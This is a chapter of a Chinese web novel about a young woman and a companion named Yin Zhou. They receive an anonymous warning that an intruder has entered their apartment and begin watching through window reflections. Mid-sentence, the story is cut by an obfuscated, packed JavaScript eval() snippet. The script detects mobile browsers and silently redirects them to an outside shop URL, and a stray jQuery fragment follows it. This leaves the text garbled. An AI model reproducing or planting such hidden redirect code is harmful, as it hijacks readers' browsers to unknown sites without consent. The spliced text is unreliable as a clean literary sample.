林知意推开卧室门的时候，殷昼坐在窗台上。侧脸对着她的方向，晨光从窗口灌进来从他的左侧面照过去。她走过去，第三步的时候他开始转头，第四步的时候他的完整面孔正对着她。她停在他面前。
“你今天转得比昨天早一点。”
“你走第一步的时候步幅比昨天大了一点点。”
她低头看了一眼自己的右脚——确实跨得比平时大了一点。“你连步幅都能分辨出来。”
“因为你的落地节奏和昨天不一样。昨天你走完四步用了三点八秒。今天用了三点六秒。”
她站在他面前，没有伸手。“那你明天还要算吗？”
他看着她：“算。但不一定会告诉你。”
她转身走回客厅坐下来。晨光从窗口涌进来铺在两个人之间的地板上。
午饭前团子来的时候嘴里又叼了一封信。这一次没有信封，信纸直接折了两折，用一根深色纤维系着——和上一次一样粗细、颜色一致。团子把它放在茶几上，说：“楼下信箱里。没有寄件人，但上面画了一个符号。”她拆开纤维，把信纸展开。纸面上只有一行字：“第三个人已经进来了。”没有落款。没有沈渡的笔迹特征。但纸的背面有一个手绘符号——一只眼睛，朝左。
殷昼从窗台上站起来走过来，站到她身边。“这个符号不是沈渡的。”她抬头看他。“你见过他的符号？”“见过。他留标记的时候画的是直线折角。”她低头看着那只朝左的眼睛：“眼睛朝左——暗示什么？”“暗示看的方向。”他说，“左边是阁楼的方向。”
她把信纸折好放回茶几上。“有人进来了，而且知道他进来了。他没被拦下。”她站起来走到窗台边往外看了一眼——楼下街面空荡荡的，槐树底下没有人影。
“傀叔工作室的门今天锁了吗？”他站在她旁边。“锁了。早上我去看过。”“你去看过了？”“你洗漱的时候去了一趟。没碰门，远远看了一眼。”
团子蹲在茶几底下：“殷昼哥哥，你觉得那个人现在还在公寓里吗？”“可能还在。也可能已经走了，但他能进来一次就能进来第二次。”他看了她一眼。
傍晚的时候，天暗得比平时早。路灯比平时提前亮了几分钟。林知意站在窗台边看着窗外，殷昼坐在她旁边的窗台上。完整的身形在暮色里被路灯的光勾出一道暖边。她偏头看了他一眼：“你今天坐在窗台上的时候，不要面朝走廊方向。”
他坐在窗台上看着她：“面朝哪个方向？”“面朝窗户外。如果有人在楼下观察这扇窗户，他会看到你的侧脸。他以为你在看外面。你其实在看走廊方向的倒影。”他沉默了一会儿，然后把身体转向窗外。完整的面孔侧对着走廊方向，在路灯的光线里被勾出一道清晰的轮廓。他调整好角度之后说：“玻璃倒影里能看到走廊尽头。”他在窗台上坐着，完整的身形面朝窗外，视线落在玻璃反射的倒影上。
第二天早上她推开卧室门的时候，他坐在窗台
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704908|207374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上。面朝窗外的方向，侧脸对着她的方向，但她看到他的瞳孔微微朝走廊方向偏了一下——他早就在看她了。她走过去，第四步的时候他没有转过来。面朝窗外坐着，但他在玻璃倒影里看完了她走过来的全过程。
她站到他面前，他偏过头来。完整的面孔从侧脸转到正脸，隔着窗台边缘的距离。“你今天是倒影里看到我的。”
“对。你走到第二步的时候，倒影正好从窗框边缘进入视线范围。”她看着他的脸。“明天你面朝窗外坐着，不用转过来。我走到你身边的时候，你继续看着窗外就行。”
他坐在窗台上看着她：“那你走到旁边的时候，我做什么？”“你坐着。我站到你旁边。”她看着他，说完之后转身走回客厅。他坐在窗台上，完整的身形面朝窗外，浅黄色外套的袖口边缘被晨光照得发亮。他没有转过来，但在玻璃倒影里看见她已经坐到沙发上翻开素描本了。
窗外槐树的叶子在风里翻动了一下，落下一片干透的叶片，停在窗台边沿。风又吹了一下，叶子翻了个面，露出了叶背上的纹路。他坐在窗台上看着那片叶子，没有碰它。
午后她在窗台外侧的花盆里发现了一根系着的纤维，和信纸上用的那根同色同质。一根深色的、截断整齐的线，绕在花盆边缘的一根枝条上打了个结。她用手机拍了下来，然后把纤维取下来放进素描本里夹好。然后她退了一步，看向远处。
第三个人确实进来过，而且在这扇窗外站过。